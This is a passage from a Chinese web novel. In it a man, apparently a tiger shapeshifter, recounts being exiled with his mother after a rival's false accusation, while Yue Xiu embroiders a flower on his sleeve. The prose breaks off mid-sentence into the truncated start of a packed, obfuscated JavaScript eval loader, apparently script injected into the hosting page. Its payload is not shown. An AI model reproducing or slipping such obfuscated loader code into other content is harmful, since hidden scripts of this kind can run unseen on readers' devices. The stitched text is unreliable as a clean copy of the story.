忆。
越绣缓了动作,等他继续诉说。
“母亲在一次捕猎后伤了腿,很难再外出,我本想着,等我再长大些,我便与母亲一同脱离族群。可......”
他再度停顿,越绣能听出他情绪消沉,不免侧目。
“那天,白玉的母亲带来了食物,告诉我们是父亲分给我们的,我以为父亲还是很爱我们的,很欢喜,但是白玉来找我时却说我们偷用父亲的食物,转头便去告诉了父亲......”
他自嘲一笑,又冷冽了几分:“那一天我永远都不会忘。整个丛林都在看我和母亲的笑话,看着我们被父亲驱逐,就连水源也没有饮用的资格。他踩着石头,身躯是那样高大,我明明拼尽了全力,可在他口下却没有任何反抗的余地。”
克制的恨声从攥紧的拳头中传递,他仿佛看见了自己和母亲被虎群围攻的场景,每一口利牙都在准备啃咬和撕扯。
他在鄙夷和幸灾乐祸的目光中和母亲不断后退,直至被逼出了领地。
在族群内偷用食物就是在挑战虎王的地位,他还毫无反抗之力,是个彻头彻尾的失败者。
“所以你来了这。”
他转过头去,见越绣已经咬断了针线,那一朵月牙白花正正绣在他的衣袖上。
这花的绣法多年来不曾变过,正如他的心多年来也不曾动摇过。
屈辱和不甘只是被压抑于心,即使他能在山上重新开始,可那不屑又高高在上的目光却时常出现在梦中,让他生了头疾。
一开始,他还有母亲,母亲的安抚和宽慰能让他暂时忘记过去,可后来,他没有母亲了,也没有人能为他哼曲了。
母亲的面容和声音渐渐与眼前人重叠,他喃喃:“找一个能容纳我的地方,和你一样。”
月牙映出他闪动的眸光,那神情仿若一潭平静的湖水,只要一点风便能拂起波澜。
他眼里有渴望,渴望被包容,被理解,被温暖。
越绣盯了片刻,透过他的眼神她仿佛看见了她自己的无助和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,